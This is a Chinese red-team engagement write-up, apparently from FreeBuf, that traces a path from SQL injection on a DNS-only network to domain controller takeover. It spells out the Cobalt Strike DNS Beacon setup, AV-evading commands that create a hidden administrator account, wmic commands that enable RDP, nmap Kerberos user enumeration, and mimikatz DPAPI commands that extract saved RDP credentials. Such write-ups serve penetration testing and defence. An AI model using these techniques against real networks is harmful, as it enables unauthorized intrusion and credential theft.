从DNS Beacon到域控 – 作者:酒仙桥六号部队

以下是某次红蓝对抗过程中的一次记录,项目特点是内网服务器对外只能通DNS协议。

image

站库分离Getshell

碰到的这个站比较奇葩,采用的是php+SQLSever架构

image

首先,在资产某处发现存在SQL注入,数据库类型是SQLServer,并且当前用户为sa管理用户

image

通过sqlmap的 –os-shell 调用xp_cmdshell执行系统命令获得权限,执行完命令后发现当前仅仅是普通service 用户的权限

image

于是想通过执行powershell命令弹回一个CobaltStrike的shell,发现报错,提示无法连接到远程服务器

image

猜测目标机器可能不通外网,Ping baidu看看结果,发现只有DNS协议能出网

image

image

那么现在的思路就是通过找到目标网站路径,然后写入webshell,获取权限。

这里我们找网站路径的思路是通过找网站上一个特殊的文件名,然后利用windows下查找文件的语法(dir /s /b c:\test.txt)来进行查找。

首先,找到网站上一个比较特殊一点的文件名

image

执行命令查找:dir /s /b c:\checkform.js 。发现均未找到,于是怀疑该网站站库分离

image

执行sqlmap的 –sql-shell 参数,运行SQL语句验证是否站库分离,果不其然,该站点采用了站库分离。

select host_name()
select @@servername

image

我们现在通过注入获取到的是内网数据库服务器的权限,并且由于该机器对外只通DNS协议,故没有比较好的办法弹回该数据库服务器的shell。

我们现在只有寄希望于通过SQL注入读取网站的账号密码,然后登录后台,寻找getshell的点了。最终,通过读取数据库,找到了网站后台的账号密码

image

用读取的账号密码登录后台,在后台找到一上传点,但是该上传处后缀白名单限制以及文件内容检测,只能上传图片格式的文件。最终,通过 上传图片木马+解析漏洞组合利用,成功获取服务器权限。

image

image

利用DNS Beacon弹shell

而后上传冰蝎马,获得更直观的命令执行界面。为了更好的进行内网渗透,想弹回一个CobaltStrike类型的shell。但是通过执行ping baidu发现,该机器也是只对外通DNS协议,所以我们得制作一个DNS Beacon类型的木马。

制作DNS Beacon步骤如下:

  1. 准备一台VP.S服务器(可以直接使用我们的CS服务器),该机器的53端口一定要对外开放。然后准备好一个域名。

  2. 配置域名的解析记录,创建A记录和NS记录。A记录解析到VP.S服务器上,NS记录解析到A记录上。

  3. CS开启监听DNS Beacon,DNS Hosts填我们的NS记录,DNS Host(Stager)填我们的A记录

  4. 生成DNS木马,生成的木马类型是Windows Executable(S)。如果木马机器有杀软,可以先生成shellcode,然后免杀编译。

  5. 执行木马上线

通过上传免杀的dns木马,执行上线成功。默认上线是黑框框,也执行不了命令

image

执行以下两条命令,即可正常显示并执行命令

checkin
mode dns-txt

image

由于是WinServer2012的机器,故只能抓取到密码的哈希。

现在我们想远程RDP连接到该机器。但是有几个问题:

  • 主机3389端口未开放,所以需要手动给他开放

  • 未抓取到目标主机的账号密码明文,所以需要手动创建账号。但是该主机存在杀软,所以需要绕过杀软执行创建账号命令

开启3389端口

WinServer2012开启3389端口命令如下

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

image

argue参数绕过杀软

目标机器存在杀软,直接执行创建用户命令会被杀软报毒,所以我们需要使用argue参数绕过杀软,执行创建用户命令

argue net1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
argue
execute net1 user hack Root111! /add
execute net1 localgroup administrators hack /add

image

挂代理

由于目标机器对外只通DNS协议,所以我们最好的选择是搭建一个HTTP协议的代理

image

远程连接目标主机内网ip的3389端口,成功RDP连接。

image

翻阅目标机器目录,查找到之前注入的SQLServer数据库的账号密码

image

通过navicat远程连接,翻阅数据库,发现该机器上数据库中还存有用户名和MD5加密后的一些密码。我们可以先收集这些用户名

image

翻阅完数据库之后,执行xp_cmdshell提权

image

image

由于数据库服务器对外只通DNS协议,但是在内网里面,可以与其他机器互通。所以通过在拿到的web服务器上放入我们的DNS木马,然后执行xp_cmdshell远程下载并执行,成功弹回数据库服务器的CobaltStrike shell。

内网中继横向渗透

内网的所有机器对外都只通DNS协议,所以我们进行内网横向渗透需要以获取到的web服务器作为中继监听,进行内网横向渗透。

在获取到的web服务器上执行中继监听

image

目前获取到的只是数据库服务器的普通network service权限,我们现在需要提权到管理员权限。使用CobaltStrike的插件进行提权,然后监听器选择刚刚创建的zhongji。执行后,成功获取到管理员权限。由于是WinServer2008的机器,运行mimikatz,得到明文账号密码。

image

目前我们已经拿到了两台服务器的管理员权限了。并且一台服务器是明文账号密码,一台服务器是密码哈希。现在我们需要对内网进行更广阔的横向渗透了。现在获取的两台机器都在192.168网段。但是我们扫描的时候还需要探测10.0网段和172.16网段。

对内网进行MS17-010探测攻击,成功攻下3台服务器,均在192.168网段。

对内网445、1433、3306、6379等端口进行扫描。

  • 对开放了445端口的主机进行SMB爆破,利用刚刚读取到的明文账号密码。如果爆破成功,直接psexec远程弹一个CobaltStrike shell回来。这里获取到3台服务器权限,均在192.168网段。

image

image

  • 对于没爆破成功的主机,利用读取到的哈希进行哈希传递攻击

image

  • 对开放了1433、3306端口的主机,利用内网中获取到的账号密码进行数据库爆破。如果爆破成功,再执行UDF/XP_cmdshell 提权等操作。这里MySQL的UDF提权未执行成功,但是xp_cmdshell提权执行成功,获取了权限,在10.0网段。

  • 对6379端口进行爆破,如果有未授权访问或弱口令并且是Linux主机的话,则直接尝试利用写入公钥提权。但是这里好多机器无写入权限,只获取到一台Linux主机权限,在10.0网段。

image

image

image

经过内网中继横向渗透,已经拿到了8台Windows服务器和1台Linux服务器的权限了。但是,并没有找到在域内的机器。但是在前期的信息收集过程中,已经得知目标内网存在域环境:xxx.com,并且收集到了域控的IP地址。后来在10.0的机器上发现可以ping通域控的地址。

域内用户枚举

在 10.0 的机器上发现可以ping通域控后,在该机器上挂代理,准备对域内的用户进行枚举。用户名使用之前在数据库中收集到的用户名+我的超强用户名字典 (针对国内用户进行收集的用户名字典,一共两万多条)。

image

通过域内用户名枚举,一共枚举出了一百多个域内用户名。

nmap -sT -Pn -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm="域名",userdb="users.txt" 域控IP

image

域内用户密码碰撞

获取到了域内用户名之后,再查看哪些用户名在之前拿到的数据库中,找到其对应的MD5密码去在线网站解密,尝试碰撞。最后,终于碰撞出一个属于信息管理部人员的域账号。

image

然后,使用该域用户远程RDP连接开放了3389端口的域内主机,立马弹回一个dns beacon的shell,并且进行域内信息查询,发现该域账号只是普通域用户。

image

当执行了net group "domaian computers" /domain后,发现了与刚刚破解的用户名相同的主机名。于是可以猜测到,这台机器应该是这个用户的个人办公机。扫描了一下端口,该机器开放了3389端口。

于是等到了中午十二点的时候(这时候是饭点),远程RDP登录该主机,进行快速的信息查找。

RDP凭据账号密码提取

当执行以下命令之后,发现该机器上存有登录到域内其他机器的RDP Session

#查看mstsc的连接纪录
cmdkey /list 
 
#查找本地的Credentials:
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

image

于是乎上传mimikatz,使用本地提权漏洞,提到system权限,执行以下命令,成功获取到该RDP凭据中保存的用户名密码

exp.exe mimikatz.exe
privilege::debug
dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\RDP Session
sekurlsa::dpapi
dpapi::cred /in:C:\Users\xxx\AppData\Local\Microsoft\Credentials\RDP Session /masterkey:上一步获取的mastkey

image

image

拿下域控

查询该用户名所属组,发现在管理员组中

image

发现域控3389端口开着,直接RDP登录域控

image

image

查看域内主机个数,3807台,到此,项目结束。Game Over!

image

总结

本次项目最主要的特点是内网的主机对外都只能通DNS协议,所以我们需要利用DNS Becaon弹shell回来。在进行内网横向渗透的时候,需要以获取到权限的主机作为中继监听,进行内网横向。

  1. 站库分离获取web服务器权限,然后通过DNS Beacon弹回shell

  2. 内网连接数据库,翻阅数据库记录用户名和密码,xp_cmdshell提权获取权限

  3. 内网中继横向渗透获取到9台服务器权限

  4. 域内用户名枚举,枚举出一百多个用户名,并且通过密码碰撞得到信息管理员人员域内用户名密码

  5. 登录域内任意主机,查询发现该人员的个人办公机器

  6. 趁着饭点连接该人员主机,从RDP凭据中获取到域管理员账号密码

  7. 直接使用该域管理员账号登录域控,GameOver

来源:freebuf.com 2021-04-19 15:20:18 by: 酒仙桥六号部队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论